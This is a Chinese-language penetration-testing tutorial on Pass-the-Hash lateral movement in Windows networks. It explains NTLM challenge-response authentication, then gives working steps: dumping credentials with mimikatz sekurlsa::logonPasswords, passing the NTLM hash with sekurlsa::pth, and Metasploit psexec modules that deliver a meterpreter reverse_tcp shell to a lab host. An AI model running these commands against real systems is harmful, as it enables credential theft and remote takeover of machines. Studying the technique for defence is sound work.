严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。
前言
在进行内网渗透的过程中,会存在已经获取用户的NTLM 哈希值但是无法解开,获取不到密码的情况,这时就能够通过Pass-The-Hash来进行横向渗透。
Pass-The-Hash 原理
NTLM认证:
1. 用户输入user,pass,domain客户端会计算hash值保存至本地
2. 客户端将user明文发给DC
3. DC生成一个16Byte的随机数(challenge)发送给客户端
4. 客户端通过运算生成一个响应值respone=f(hash,challenge,other) (用hash加密challenge生成respone)other(时间戳等) respone(也可以说是加密后的challenge)
5. 客户端将respone发送给DC
6. DC通过同样的运算result=f(hashdc,challenge,other)(DC用本地的hashdc来加密challenge生成result)然后比较result和respone的值是否相等,相等则认证成功
通过wireshark抓包分析NTLM认证过程
negotiate_message: negotiate_message定义从客户端发送到服务器的NTLM协商消息,该消息允许客户端向服务器指定其支持的NTLM选项
challenge_message:从服务器发送到客户端的NTLM质询消息,服务器使用challege_message来挑战客户端以证明其身份,对于面向连接的请求,服务器生成的challenge_message响应客户端的negotiate_message
authenticate_message: authenticate_message定义在客户端处理challenge_message之后从客户端发送到服务器的NTLM身份验证消息
Type 1协商
这个过程是客户端向服务器发送type 1(协商)消息,它主要包含客户端支持和服务器请求的功能列表。
Type 2质询
这个过程是服务器用type 2消息(质询)进行响应,这包含服务器支持和同意的功能列表,以及生成的challege
Type 3 身份验证
这个过程客户端接收到challenge之后,使用用户hash与challenge进行加密运算得到response,将response,username,challenge等信息发给服务器。
从上面的认证过程可以看出,DC最终通过比较respone和result是否相等来判定认证是否成功,而我们通过mimikazt来获取到hash值,我们只要把获取到的hash值发给DC就可以通过认证。
Pass-The-Hash利用的几个前提条件
工作组环境下
Windows Vista之前的机器,可以使用本地管理员组内用户进行攻击 windows Vista之后的机器,只能是administrator用户才能进行攻击,其他用户会提示拒绝访问
域环境下
域内任意一台主机的本地管理员权限和域管理员密码的NTLM hash值,可进行pth攻击
由于Pass-The-Hash在win7的工作组环境下只支持在administrator用户的情况下才能利用,而windows默认是关闭这个用户的,现在我们来开启它。
net user administrator /active:yes
首先利用mimikatz(mimikatz需要管理员权限)读取到用户密码的hash值
命令:sekurlsa::logonPasswords
LM: ccf9155e3e7db453aad3b435b51404ee
NTLM:3dbde697d71690a769204beb12283678
利用mimikatz进行pth攻击
sekurlsa::pth /user:administrator /domain:172.16.1.199 /ntlm:3dbde697d71690a769204beb12283678
利用msf进行pth攻击
exploit/windows/smb/psexec
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set rhosts 172.16.1.199
set smbuser administrator
set smbpass ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204beb12283678
run
expliot/windows/smb/psexec_psh
use exploit/windows/smb/psexec_psh
set payload windows/meterpreter/reverse_tcp
set rhosts 172.16.1.199
set smbuser administrator
set smbpass ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204beb12283678
run